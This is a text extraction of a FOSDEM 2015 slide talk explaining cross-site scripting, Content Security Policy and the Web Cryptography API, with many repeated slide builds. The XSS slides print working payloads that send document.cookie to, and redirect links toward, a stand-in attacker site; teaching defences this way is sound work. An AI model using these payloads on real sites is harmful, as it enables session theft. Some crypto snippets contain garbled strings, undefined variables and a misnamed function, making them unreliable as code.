Web Security
CSP and Web Cryptography

Habib Virji
Samsung Open Source Group
habib.virji@samsung.com
FOSDEM 2015
Agenda

- Why Web Security
- Cross site scripting
- Content security policy (CSP)
  - CSP Directives and reporting
  - Shortcomings
  - Next Step
- Web Cryptography
  - Introduction
  - Web Crypto usage
  - Next Step
- Conclusion
Content Security Policy (CSP)
Why Web Security

Main threats as per OWASP\(^1\) are:

- Injection
- Broken authentication and session management
- Cross-site scripting
- Insecure direct object references
- Security misconfiguration.
- Sensitive data exposure
- Missing function level access control
- Cross site request forgery (CSRF).
- Components usage with known vulnerability.
- Unvalidated redirects and forwards.

\(^1\) OWASP: https://www.owasp.org/index.php/Top_10_2013-Top_10
Cross site scripting (XSS)

- Same-origin policy
  - Main reliance of security: scripts running should originate from the same site.

  protocol://host:port

- Cross-site-scripting (XSS) breaks reliance on same-origin security.

- XSS can inject client-side scripts in web page.

  - Reflected - Including inside query JavaScript code, which can process and pass back information.
  - Persistent - This persists on the server and information is sent back to the server.
Cross site scripting (XSS)

- Same-origin policy
  - Main reliance of security: scripts running should originate from the same site.
    - `protocol://host:port`
  - Same-origin policy is important for cookies which store sensitive information and user authentication details.
Cross site scripting (XSS)

- **Same-origin policy**
  - Main reliance of security: scripts running should originate from the same site.
    - `protocol://host:port`
  - Same-origin policy is important for cookies which store sensitive information and user authentication details.

- **Cross-site scripting (XSS)**
  - Cross-site-scripting (XSS) breaks reliance on same origin security.
  - XSS can inject client side scripts in web page.
    - Reflected - Including inside query JavaScript code, which can process and pass back information.
    - Persistent - This persists on the server and information is sent back to the server.
XSS in action

Reflected XSS:

   %3Cscript%3E
   window.onload = function() {
       var Links=document.getElementsByTagName('a');
       Links[0].href = 'http://attacker-site.com/malicious.exe';
   }
%3C\script%3E

%3Cscript%3E
   window.open('http://www.attacker-site.com/collect?cookie='+document.cookie);
%3C\script%3E

Content-Security-Policy

Solution to XSS with comprehensive solutions.

- HTTP response header set by origin/server to control/specify from where resources can be loaded.
- Origin site enforces static policies.
Content-Security-Policy

➤ Solution to XSS with comprehensive solutions.
  ➤ HTTP response header set by origin/server to control/specify from where resources can be loaded.
  ➤ Origin site enforces static policies.

➤ Benefits from CSP:
  ➤ Separates code and data.
  ➤ Stop XSS and code injection via setting whitelist of allowable content and sources.
Content-Security-Policy

- Solution to XSS with comprehensive solutions.
  - HTTP response header set by origin/server to control/specify from where resources can be loaded.
  - Origin site enforces static policies.

- Benefits from CSP:
  - Separates code and data.
  - Stop XSS and code injection via setting whitelist of allowable content and sources.

- Each page header has to set separate policy set.
How CSP protects from XSS

```html
<script>
    window.open(http://www.attacker-site.com/collect?
    cookie=+document.cookie);
</script>

Error in console:

Refused to connect to 'http://www.attacker-site.com/' because it violates the document’s Content Security Policy directive: "connect-src 'self'".
CSP Directives

- script-src: All eval and inline-script are stopped.
- style-src: All inline style are stopped.
- object-src: Source of flash source and other plugin object.
- image-src: Origins of images.
- font-src: font files.
- connect-src: Source for WebSocket/XHR/EventSource
- frame-src: Iframes source for embedding YouTube
- media-src: Source for Video and Audio
- default-src: All above.
- sandbox: Special directive to block everything. Access via allow-scripts, allow-forms
CSP Reporting

- CSP Reporting provides a way of getting informed if some violation has been done.

```
content-security-policy: default-src: 'self'; report-uri: /myreport
```

- Following report will be auto-generated and sent to the server when invalid access is done:

```json
{"csp-report": {
  "document-uri": "http://example.org/page.html",
  "referrer": "http://evil.example.com/",
  "blocked-uri": "http://evil.example.com/evil.js",
  "violated-directive": "default-src 'self'",
  "original-policy": "default-src 'self',
  "report-uri" "http://example.org/myreport" }
}
```
CSP Reporting

- CSP Reporting provides a way of getting informed if some violation has been done.

```plaintext
content-security-policy: default-src: 'self'; report-uri: /myreport
```

- Following report will be auto-generated and sent to the server when invalid access is done:

```json
{"csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/",
    "blocked-uri": "http://evil.example.com/evil.js",
    "violated-directive": "default-src 'self'",
    "original-policy": "default-src 'self',
    "report-uri" "http://example.org/myreport"
}}
```

- Instead of moving full site to blocking other origins.

```plaintext
content-security-policy-report-only: default-src: 'self'
```
CSP shortcoming

- Main issue with adaptation is blocking in-line JavaScript.²

²https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-for-security
³http://threatpost.com/content-security-policy-mitigates-xss-breaks-websites/107270
CSP shortcoming

- Main issue with adaptation is blocking in-line JavaScript.²
- Browser bugs and incompatibility breaks site.³
  - IE supports CSP via different header X-Content-Security-Policy header.

²https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-for-security
³http://threatpost.com/content-security-policy-mitigates-xss-breaks-websites/107270
CSP shortcoming

- Main issue with adaptation is blocking in-line JavaScript.²
- Browser bugs and incompatibility breaks site.³
  - IE supports CSP via different header X-Content-Security-Policy header.
- Enforcement breaks important extensions present in the browser.³

---
²https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-for-security
³http://threatpost.com/content-security-policy-mitigates-xss-breaks-websites/107270
CSP shortcoming

- Main issue with adaptation is blocking in-line JavaScript.²
- Browser bugs and incompatibility breaks site.³
  - IE supports CSP via different header X-Content-Security-Policy header.
- Enforcement breaks important extensions present in the browser.³
- Require changing structure of their site.³
  - Dynamically named sub-domains also stops websites using CSP features.⁴

² https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-for-security
³ http://threatpost.com/content-security-policy-mitigates-xss-breaks-websites/107270
CSP shortcoming

- Main issue with adaptation is blocking in-line JavaScript.²
- Browser bugs and incompatibility breaks site.³
  - IE supports CSP via different header X-Content-Security-Policy header.
- Enforcement breaks important extensions present in the browser.³
- Require changing structure of their site.³
  - Dynamically named sub-domains also stops websites using CSP features.⁴
- Requires compliance across all web application from same origin.⁴

²https://blog.twitter.com/2013/csp-to-the-rescue-leveraging-the-browser-for-security
³http://threatpost.com/content-security-policy-mitigates-xss-breaks-websites/107270
CSP Next Step - Inline script

- What it addresses:
  
  content-security-policy: **script-src** 'self'

- CSP made it mandatory not to include inline JavaScript but in all JavaScript in a separate file.

- Required using unsafe-inline, to allow inline JavaScript to execute.

- Several sites failed to adapt CSP such as Twitter.

- New mechanism handle inline JavaScript by setting nonce or hash values.
CSP Next Step - Inline script

- What it addresses:
  ```
  content-security-policy: script-src 'self'
  ```

- CSP made it mandatory **not** to include inline JavaScript but in all JavaScript in a separate file.
  - Required using unsafe-inline, to allow inline JavaScript to execute.
  - Several sites failed to adapt CSP such as Twitter.²
CSP Next Step - Inline script

- What it addresses:
  ```
  content-security-policy: script-src 'self'
  ```

- CSP made it mandatory **not** to include inline JavaScript but in all JavaScript in a separate file.
  - Required using unsafe-inline, to allow inline JavaScript to execute.
  - Several sites failed to adapt CSP such as Twitter.²

- New mechanism handle inline JavaScript by setting nonce or hash values.
CSP Next Step - Inline script

Nonce mechanism:

```javascript
{content-security-policy:
    script-src:
    '9253884'
}
<script nonce="9253884">
    doStuff();
</script>
```

Challenges: 5
- New nonce is expected and no reuse of nonce.
- Support in the framework.

---

5 https://docs.google.com/presentation/d/12JxuNy92C6ARrlsGaykXW5PcD0PKmU1VBNTyxaePZ4
CSP Next Step - Inline script

Nonce mechanism:

```html
{content-security-policy:
    script-src:
        '9253884'
}
<script nonce="9253884">
    doStuff();
</script>
```

Challenges:

> ▶ New nonce is expected and no reuse of nonce.
> ▶ Support in the framework.

Hashing mechanism:

```html
{content-security-policy:
    script-src:
        'sha256-67134...287d7a'
}
<script>
    doStuff();
</script>
```

Challenges:

> ▶ New hash for every change.
> ▶ Dynamic content handling.

---

5 https://docs.google.com/presentation/d/12JxuNy92C6ARrIsGaykXW5PcD0PKmU1VBNtXyxaePZ4
CSP Next Step - SubResource Integrity

- Instead of securing whole page, secure resources.
- Fetched resource is reached without any manipulation when hosted at other origin.
CSP Next Step - SubResource Integrity

- Instead of securing whole page, secure resources.
- Fetched resource is reached without any manipulation when hosted at other origin.

```html
<script
src="https://legible.com/script.js"
noncanonical-src="http://insecure.net/script.js"
integrity="ni://sha-256;asijfiqu4t12...woeji3W?ct=application/javascript">
</script>
```
CSP Next Step - Per-page Suborigins

- Sites segregate contents into separate flexible synthetic origins.
- The synthetic origins should be related to the main origin.
- Content in synthetic origin can interact via postMessage.
- End user sees content coming from a single origin

```
content-security-policy: suborigin '<name>'
protocol://name@host:port
```
Web Cryptography
Introduction

- JavaScript API’s to perform cryptographic operations such as
  - Hashing
  - Signature generation and verification.
  - Encryption and decryption
  - Derive keys and bits
Introduction

- JavaScript API’s to perform cryptographic operations such as
  - Hashing
  - Signature generation and verification.
  - Encryption and decryption
  - Derive keys and bits
- Uses 4 interfaces: RandomSource, CryptoKey, SubtleCrypto and WorkerCrypto.
Introduction

- JavaScript API’s to perform cryptographic operations such as
  - Hashing
  - Signature generation and verification.
  - Encryption and decryption
  - Derive keys and bits
- Uses 4 interfaces: RandomSource, CryptoKey, SubtleCrypto and WorkerCrypto.
- Different key format supported are: {"raw", "spki", "pkcs8", "jwk"}
<table>
<thead>
<tr>
<th>Operation</th>
<th>Algorithms</th>
</tr>
</thead>
<tbody>
<tr>
<td>Digest</td>
<td>SHA-1/256/384/512</td>
</tr>
<tr>
<td>GenerateKey</td>
<td>RSASSA-PKCS1-v1_5, RSA-PSS/OAEP, AES-CTR/CBC/CMAC/GCM/CFB/KW, ECDSA, HMAC, DH, PBKDF2</td>
</tr>
<tr>
<td>Import/Export</td>
<td>RSASSA-PKCS1-v1_5, RSA-PSS/OAEP, AES-CTR/CBC/CMAC/GCM/CFB/KW, HMAC, DH, PBKDF2, CONCAT HKDF-CTR, ECDSA, ECDH</td>
</tr>
<tr>
<td>Sign/Verify</td>
<td>RSASSA-PKCS1-v1_5, RSA-PSS, ECDSA, AES-CMAC, HMAC</td>
</tr>
<tr>
<td>Encrypt/Decrypt</td>
<td>RSA-OAEP, AES-CTR/CBC/GCM/CFB</td>
</tr>
<tr>
<td>DeriveBits/Key</td>
<td>ECDH, DH, CONCAT, HKDF-CTR, PBKDF2</td>
</tr>
<tr>
<td>Wrap/Unwrap</td>
<td>RSA-OAEP, AES-CTR/CBC/GCM/CFB/KW</td>
</tr>
</tbody>
</table>
Use Case

- Multi-factor authentication for user or service.
- Protected document exchange
- Cloud storage
- Document or code signing
- Confidentiality and integrity of communication.
- JavaScript object signing and encryption (JOSE).

http://www.w3.org/TR/WebCryptoAPI/
```javascript
var userInput = "Integrity example";
var typedArray = new Uint8Array(userInput.length);
for (var i=0; i<userInput.length; i++)
    typedArray[i]=userInput.charCodeAt(i);

var promise = crypto.subtle.digest(
    {name: "SHA-256"},
    typedArray);

promise.then(function(dgst){
    console.log(bytesToHexString(dgst));
});

function bytesToHexString(bytes) {
    bytes = new Uint8Array(bytes);
    var hexBytes = [];
    for (var i = 0; i < bytes.length; ++i) {
        var byteString=bytes[i].toString(16);
        if (byteString.length < 2)
            byteString = "0" + byteString;
        hexBytes.push(byteString);
    }
    return hexBytes.join("\"\"");
}
```
Digest - SHA-256

```javascript
var userInput = "Integrity example";
var typedArray = new Uint8Array(userInput.length);
for (var i=0; i<userInput.length; i++)
    typedArray[i]=userInput.charCodeAt(i);

var promise = crypto.subtle.digest({name:"SHA-256"},
typedArray);

promise.then(function(dgst){
    console.log(bytesToHexString(dgst));
});

function bytesToHexString(bytes) {
    bytes = new Uint8Array(bytes);
    var hexBytes = [];
    for (var i = 0; i < bytes.length; ++i) {
        var byteString=bytes[i].toString(16);
        if (byteString.length < 2)
            byteString = "0" + byteString;
        hexBytes.push(byteString);
    }
    return hexBytes.join(""aramel cherish");
}
```

Digest: 671340f5ae3d93ed0d70db6152ed4cfa6089eab21d24887d476cf12a6f287d7a
var promise = crypto.subtle.generateKey(
  {name: "hmac", hash: {name: "sha-256"}}, // Algorithm
  true, // Extractable
  ["sign", "verify"]); // KeyUsage

promise.then(function(key) {
  console.log(key.type); // secret
  console.log(key.usages); // sign, verify
  console.log(key.algorithm.name); // HMAC
  console.log(key.algorithm.hash.name); // SHA-256
  console.log(key.algorithm.length); // 512
});
```javascript
var promise = crypto.subtle.sign(
  {name:"HMAC"},
  key,
  typedArray);

promise.then(function(mac){
  console.log(bytesToHexString(mac));
});

var verify = crypto.subtle.verify(
  {name:"HMAC"},
  key,
  mac,
  typedArray);

verify.then(function(verified){
  console.log(verified); // true or false
});
```
Encrypt & Decrypt - AES-CBC

var promise =
crypto.subtle.importKey(
  'raw',
  keyData,
  {'name':'aes-cbc',
   iv: initialVector},
  false,
  ['encrypt', 'decrypt']);

var encrypt =
promise.then(function(key) {
  crypto.subtle.encrypt(
    {'name':'aes-cbc',
      iv: initialVector},
    key,
    plainText));

encrypt.then( function(ct) {
  console.log(new Uint8Array(ct));
});
Encrypt & Decrypt - AES-CBC

var promise =
crypto.subtle.importKey(
  'raw',
  keyData,
  {'name':'aes-cbc',
   iv: initialVector},
  false,
  ['encrypt', 'decrypt']);

var encrypt =
promise.then(function(key) {
  crypto.subtle.encrypt(
    {'name':'aes-cbc',
     iv: initialVector},
    key,
    plainText));

encrypt.then( function(ct) {
  console.log(new Uint8Array(ct));
});

var decrypt =
crypto.subtle.decrypt(
  {'name':'aes-cbc',
   iv: initialVector},
  key,
  ct)
);

decrypt.then(
  function(byte){
    var b = new Uint8Array(byte);
    var decrypt = "";
    for (var i=0;i<b.byteLength;i++)
      decrypt +=
        String.fromCharCode(b[i]);
    console.log(decrypt);
  });
DeriveKey/DeriveBits

var promise = crypto.subtle.importKey("raw", hexStringToUint8Array(kHkdfKey), {name: "HKDF"}, true, ['deriveKey', 'deriveBits']);

promise.then(function(key) {
    var deriveBit = crypto.subtle.deriveBit({name: "HKDF", hash: "SHA-256", salt: new Uint8Array(), info: new Uint8Array()}, key, 0);

    deriveBit.then(function(mac) {
        console.log(bytesToHexString(result));
    });
});

Next Steps

- Main area of focus in next revision of WebCrypto.\(^7\)
  - Multi-factor authentication
    - Authentication mechanism should be standardized.
    - Hardware token as way of authorization.
    - Secure element access.
  - Right level of abstraction to make key available outside browser.
    - Handling different keys: User Key, Service Key, Platform Key and Device Keys.
  - Key material should be available outside browser environment and bound to a local authenticator.
  - Ability to verify source of the key i.e. attestation provenance.

\(^7\)http://www.w3.org/2012/webcrypto/webcrypto-next-workshop/
Conclusion

- CSP and Web Crypto are two separate Web Security mechanism.
- JavaScript code needs to be verifiable, to trust origin with "remote code execution".
- CSP provide white-listing your script code and WebCrypto provides way of securing your data.
- CSP adoption might take time, but its usage might reflect in top alexa sites.
- Hardware token with authentication simplification will improve user authentication.
- Key management and retrieval across platform is going to be big boost for Web Crypto adoption.
Thank you.